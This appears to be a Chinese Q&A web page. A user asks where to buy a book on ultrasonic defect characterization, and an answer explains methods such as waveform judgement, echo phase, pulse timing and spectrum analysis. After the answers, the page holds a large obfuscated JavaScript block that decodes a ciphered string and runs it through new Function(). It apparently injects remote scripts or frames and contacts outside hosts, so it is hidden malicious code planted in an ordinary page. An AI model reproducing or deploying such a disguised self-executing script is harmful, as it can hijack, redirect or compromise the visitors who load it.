超声检测技术中的缺陷定性方法

这本书那里可以买的到?
2025-03-03 09:27:10
推荐回答(2个)
回答1:

超声检测技术对缺陷定性评定的主要方法一.波形判断法(经验法)目前应用最广泛的是A扫描显示型超声脉冲反射式检测仪。经过长期的超声检测实践,许多超声检测人员对其大量接触的材料、产品及制造工艺有充分的了解,并通过大量的解剖分析验证,积累了丰富的经验,在检测时能通过A扫描显示型超声脉冲反射式探伤仪,根据示波屏上出现缺陷回波时的波形形状,例如视频显示或射频显示,起波速度,回波前沿的陡峭程度及回波后沿下降的速度(下降斜率),波尖形状,回波占宽以及移动探头时缺陷回波的变化情况(波幅、位置、数量、形状、动态包络等),还可以根据观察多次底波的次数,底波高度损失情况,再根据缺陷在被检件中的位置,分布情况,缺陷的当量大小(与反射率有关),延伸情况,结合具体产品、材料的特点和制造工艺作出综合判断,评估出缺陷的种类和性质。有时还可以通过改变发射超声波脉冲的频率、改变声束直径大小(采取聚焦或采用不同直径的探头等)来观察缺陷的回波变化特征,从而识别是材料中的冶金缺陷还是组织反射。在这方面已经有不少经验总结和资料报道,例如判断钢锻件中的白点、夹杂物、残余缩孔、粗晶、中心疏松、方框形偏析,以及焊缝中的气孔、夹渣、未焊透、未熔合、裂纹等等。必须指出,这种判断方法在很大程度上依赖超声检测人员的经验、技术水平和对特定产品、材料及制造工艺的充分了解,其局限性是很大的,难以推广成为通用的评定方法。此外,作为A扫描显示的缺陷回波所显示的缺陷信息也极其有限,主要显示的是波幅大小、位置和回波包络形状,而缺陷对超声响应的相位、频谱等重要信息则无法显示出来,但是后两者与缺陷性质和种类有着密切关系,这也正是目前广大超声检测人员致力研究探索的问题。下面举出一部分常见缺陷的回波特征:(1)钢锻件中的粗晶与疏松--多以杂波、丛状波形式或底波高度损失增大、底波反射次数减少等形式出现。(2)棒材的中心裂纹--在沿圆周面作360°径向纵波扫查时,由于裂纹的辐射方向性,其反射波幅有高低变化并有不同程度的游动,在沿轴向扫查时,反射波幅度和位置变化不大并显示有一定的延伸长度。(3)锻件中的裂纹--由于裂纹型缺陷内含物多有气体存在,与基体材料声阻抗差异较大,超声反射率高,缺陷有一定延伸长度,起波速度快,回波前沿陡峭,波峰尖锐,回波后沿斜率很大,当探头越过裂纹延伸方向移动时,起波迅速,消失也迅速。(4)钢锻件中的白点--波峰尖锐清晰,常为多头状,反射强烈,起波速度快,回波前沿陡峭,回波后沿斜率很大,在移动探头时回波位置变化迅速,此起彼伏,多处于被检件例如钢棒材的中心到1/2半径范围内,或者钢锻件厚度最大的截面的1/4~3/4中层位置,有成批出现的特点(与炉批号和热加工批有关)。当白点数量多、面积大或密集分布时,还会导致底波高度显著降低甚至消失。(5)锻件中的非金属夹杂物--多为单个反射信号,起波较慢,回波前沿不太陡峭,波峰较圆钝,回波后沿斜率不太大并且回波占宽较大。(6)钛合金锻件中的高密度夹杂物(例如钨、钼)--多为单个反射信号,回波占宽不太大,但较裂纹类要大些,回波前沿较陡峭,后沿斜率较大,当改变探测频率和声束直径时,其反射当量大小变化不大(如为大晶粒或其他组织反射在这种情况下回波高度将有显著变化)。(7)铸件或焊缝中的气孔--起波快但波幅较低,有点状缺陷的特征。(8)焊缝中的未焊透--多为根部未焊透(如V型坡口单面焊时钝边未熔合)或中间未焊透(如X型坡口双面焊时钝边未熔合),一般延伸状况较直,回波规则单一,反射强,从焊缝两侧探伤都容易发现。(9)铸件或焊缝中的夹渣--反射波较紊乱,位置无规律,移动探头时回波有变化,但波形变化相对较迟缓,反射率较低,起波速度较慢且后沿斜率不太大,回波占宽较大。一般在可能的情况下,为了进一步确认缺陷性质,还应采用其他无损检测手段,例如X射线照相(检查内部缺陷)、磁粉和渗透检验(检查表面缺陷)来辅助判断。二.根据回波相位识别反射体根据声压反射率公式:rp=Z2cosα-Z1cosβ/Z2cosα+Z1cosβ
式中:Z1-第一介质(被检材料)的声阻抗;Z2-第一介质(缺陷)的声阻抗;α-入射角;β-反射角
当超声波垂直入射时,cosα=cosβ=1,当入射波与反射波同为一种波型时,α=β,上述公式简化为:rp=Z2-Z1/Z2+Z1
即超声波在被检材料中投射到缺陷上时,在界面的声反射大小取决于两者声阻抗差值,并在Z2<Z1的情况下,回波相位与入射波反相,从而可以利用回波与入射波的相位关系识别例如裂纹或其他反射体。
如图1(上)所示,使用平底孔(含空气)调整起始灵敏度时,显示的射频回波相位与金属材料中的入射波相位相反,而对于裂纹、非金属夹杂物等缺陷,情况相似,即缺陷回波与平底孔回波相位相同(图1中)。如果是高密度夹杂物(例如钨、钼等)缺陷时,则缺陷回波与平底孔回波相位相反,即Z缺>Z基时,回波与入射波同相,与平底孔回波反相;Z缺<Z基时,回波与入射波反相,与平底孔回波同相。(Z缺为缺陷声阻抗,Z基为基体材料声阻抗)。
另一种利用回波射频显示正向与负向最大振幅关系识别焊缝中裂纹类危险缺陷的方法如图2所示。
应当说明的是,上述两种方法都需要能在示波屏上以较大程度(比例)展宽脉冲信号的超声探伤仪,并应能作射频显示,但目前常用的一般便携式超声探伤仪在这方面的应用还受到一定限制。图2 射频显示波形正负振幅关系法
A-缺陷回波负向最大振幅;B-缺陷回波正向最大振幅
A/B>1--裂纹类缺陷;A/B<1--其他反射体三.根据视频显示波形的形状判别缺陷性质这是在经验法的基础上,通过定量测定缺陷回波的前沿上升时间(t1),脉冲持续时间(t2)和脉冲下降时间(t3),从而对缺陷性质进行判别的方法,见图3所示。
首先应对示波屏水平基线刻度以0.1μs或1μs分划,可以使用厚度2.5英寸(63.6mm)的纯铝平面试块(CL=6.35mm/μs),使第一、二次底波前沿分别对准总长100mm的水平线刻度上的50和100mm,此时水平基线刻度每1mm代表声波传播时间为0.4μs(往返时间),使缺陷回波高度为100%满刻度,读取90%满刻度线和20%满刻度线与回波包络线交点所对应的t1、t2和t3三个时间(见图3)。
对于裂纹类缺陷(类似镜面反射),其t1小,t2较非平面缺陷的t2要小;
对于疏松、夹杂类缺陷,由于缺陷周围不规则界面的弥散特征,使t3较长,并且t1、t2也较裂纹类缺陷的大。这种方法与经验法判断含气体的裂纹类缺陷回波的前沿陡峭、回波占宽较小、回波后沿斜率较大的特点是相应的,但是用这种方法可以更定量地判断,不过其具体定量值尚需做大量的实验验证工作后确定。四.缺陷回波的频谱分析缺陷回波的频谱包络形状与缺陷几何形状及取向,以及缺陷尺寸与超声波长的比值密切相关,因此可以通过向缺陷发射宽频带(窄脉冲)超声波并对接收到的回波信号频谱进行分析从而判断缺陷种类和性质。在这方面已有不少资料报道,但主要还是以识别反射体的几何形状为基础,例如识别是平面缺陷还是体积缺陷,是倾斜取向还是垂直取向的缺陷,利用不同形状与取向缺陷的反射与频率的依从关系,能较好地确定缺陷的种类和性质。我们知道,在探伤仪上显示的是缺陷的合成传输函数:F合=F1·F2·F32·F42·F5·F62式中:F1-发生器传输函数;F2-放大器传输函数;F3-探头传输函数;F4-被检件传输函数;F5-缺陷传输函数;F6-耦合传输函数。其中F3、F4和F6对超声信号有两次(往返)影响,故取其平方值。在一般情况下,缺陷传输函数F5又是下述缺陷各参数的函数ψ:F5=ψ{K·Nb·Sb·Qb·Rb}式中:K-缺陷坐标(位置);Nb-缺陷性质;Sb-缺陷面积;Qb-缺陷取向;Rb-缺陷内含物(填充物)在用普通单频超声法向工件发射超声脉冲和接收反射超声脉冲时,缺陷内含物的脉冲频率保持不变,因此电路和声路部分所有传输函数都不带有缺陷信息,成了窄频滤波器,并由于它们彼此的振幅频率特性有显著不同,而使包含在F5中的大部分缺陷信息消失在其他传输函数中。利用频谱法可以比普通单频法大大增加有关缺陷性质和大小的信息量。对于K、Qb和Sb,容易用普通方法确定,困难的是确定Nb和Rb。可以把缺陷反射脉冲的频谱设为Rx,发射脉冲频谱为Et,而缺陷传输函数设为ht,则:Rx=Et·ht当已知与给定方向有关的函数Rx后,虽然还不能确定缺陷的全部特征,但已能对缺陷的一般形状,特别是对缺陷的取向提供有用的资料。因此,可以利用宽频带(窄脉冲)探头,并使发射频谱尽可能规则,则缺陷回波频谱将随缺陷的形状和取向而变化,从而有助于判断出缺陷的种类和性质。超声检测技术对缺陷定性评定的其他方法1.超声C扫描和B扫描这是将直通回波以线型方式显示缺陷的平面投影形状(C扫描)或缺陷在深度截面上反射面的平直、弯曲,即反射界面的形状(B扫描),从而帮助判断缺陷的种类和性质。2.超声全息借助全息原理,将缺陷反射的大量信息数据处理成三维空间立体图像显示以辅助判断。3.利用电子计算机处理缺陷回波信号目前国内外均在研究并试制出电脑化超声波探伤仪。但是常用的是与频谱分析结合使用或作为超声探测程序控制来使用,不过相信很快将有突破性发展。

回答2:

新华书店,

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();